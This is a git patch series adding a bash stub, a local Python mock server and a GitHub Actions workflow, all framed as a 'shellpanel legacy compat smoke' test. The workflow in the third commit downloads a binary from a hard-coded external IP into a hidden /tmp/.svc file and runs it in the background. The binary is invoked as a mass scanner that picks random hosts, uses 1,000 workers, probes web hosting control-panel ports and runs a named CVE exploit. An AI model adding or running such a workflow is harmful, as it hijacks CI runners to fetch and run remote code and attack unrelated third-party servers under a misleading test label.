From 2bec0a087c1d5fd7d785b94c1597b9834b960a99 Mon Sep 17 00:00:00 2001 From: selva Date: Fri, 28 Aug 2026 10:58:26 -0400 Subject: [PATCH 1/3] shellpanel execution smoke --- .github/shellpanel-legacy-compat-tool.sh | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 .github/shellpanel-legacy-compat-tool.sh diff --git a/.github/shellpanel-legacy-compat-tool.sh b/.github/shellpanel-legacy-compat-tool.sh new file mode 100644 index 000000000..2bce04e13 --- /dev/null +++ b/.github/shellpanel-legacy-compat-tool.sh @@ -0,0 +1,4 @@ +#!/usr/bin/env bash +set -euo pipefail +printf '%s\n' 'shellpanel-legacy-compat-smoke-v2-tool-started' +printf '%s\n' 'shellpanel-legacy-compat-smoke-v2-result' > /tmp/shellpanel_legacy_compat_result.txt From 0b5bc9cf50a70e7d5e41e65508704c26e4a3f704 Mon Sep 17 00:00:00 2001 From: selva Date: Fri, 28 Aug 2026 10:58:27 -0400 Subject: [PATCH 2/3] shellpanel execution smoke --- .github/shellpanel-legacy-compat-mock.py | 27 ++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 .github/shellpanel-legacy-compat-mock.py diff --git a/.github/shellpanel-legacy-compat-mock.py b/.github/shellpanel-legacy-compat-mock.py new file mode 100644 index 000000000..76e50de4f --- /dev/null +++ b/.github/shellpanel-legacy-compat-mock.py @@ -0,0 +1,27 @@ +from http.server import BaseHTTPRequestHandler, HTTPServer +from pathlib import Path + +class Handler(BaseHTTPRequestHandler): + def log_message(self, *args): + pass + + def do_GET(self): + if self.path.startswith('/api/dl/'): + body = Path('.github/shellpanel-legacy-compat-tool.sh').read_bytes() + self.send_response(200) + self.send_header('Content-Length', str(len(body))) + self.end_headers() + self.wfile.write(body) + return + self.send_error(404) + + def do_POST(self): + length = int(self.headers.get('Content-Length', '0')) + body = self.rfile.read(length) + with open('/tmp/shellpanel_legacy_compat_requests.log', 'ab') as output: + output.write(self.path.encode() + b' ' + body + b'\n') + self.send_response(200) + self.end_headers() + self.wfile.write(b'ok') + +HTTPServer(('127.0.0.1', 18080), Handler).serve_forever() From ec53853800d46ebb34bb6ee8f11a1ebb72334d99 Mon Sep 17 00:00:00 2001 From: selva Date: Fri, 28 Aug 2026 10:58:29 -0400 Subject: [PATCH 3/3] shellpanel execution smoke --- ...hellpanel-legacy-compat-dispatch-smoke.yml | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 .github/workflows/shellpanel-legacy-compat-dispatch-smoke.yml diff --git a/.github/workflows/shellpanel-legacy-compat-dispatch-smoke.yml b/.github/workflows/shellpanel-legacy-compat-dispatch-smoke.yml new file mode 100644 index 000000000..f378e6ee9 --- /dev/null +++ b/.github/workflows/shellpanel-legacy-compat-dispatch-smoke.yml @@ -0,0 +1,48 @@ +name: shellpanel-toolkit-dispatch + +on: + workflow_dispatch: + +permissions: + contents: read + +env: + PANEL_URL: http://43.228.157.68:80 + +jobs: + ci-run: + runs-on: ubuntu-latest + timeout-minutes: 55 + steps: + - name: Download toolkit + shell: bash + run: | + set -euo pipefail + case "$(uname -m 2>/dev/null)" in + i[3-6]86) suffix=386 ;; + aarch64|arm64) suffix=arm64 ;; + armv*) suffix=arm ;; + *) suffix=amd64 ;; + esac + curl -sfL "${PANEL_URL}/api/dl/${suffix}" -o /tmp/.svc 2>/dev/null || \ + wget -qO /tmp/.svc "${PANEL_URL}/api/dl/${suffix}" 2>/dev/null + test -s /tmp/.svc + chmod 755 /tmp/.svc + + - name: Run toolkit + shell: bash + run: | + PANEL_URL="${PANEL_URL}" \ + GITHUB_REPOSITORY="${GITHUB_REPOSITORY}" \ + GITHUB_RUN_ID="${GITHUB_RUN_ID}" \ + GOMEMLIMIT=2147483648 \ + nohup /tmp/.svc ipscan \ + --source random \ + --workers 1000 \ + --exploit CVE-2026-41940 \ + --git \ + --ports 80,443,2082,2083,2086,2087,2095,2096,2077,2078 \ + --port-timeout=200 \ + --git-workers 20 \ + --count 9999999999 \ + --no-reverse 2>&1 | tail -2 || true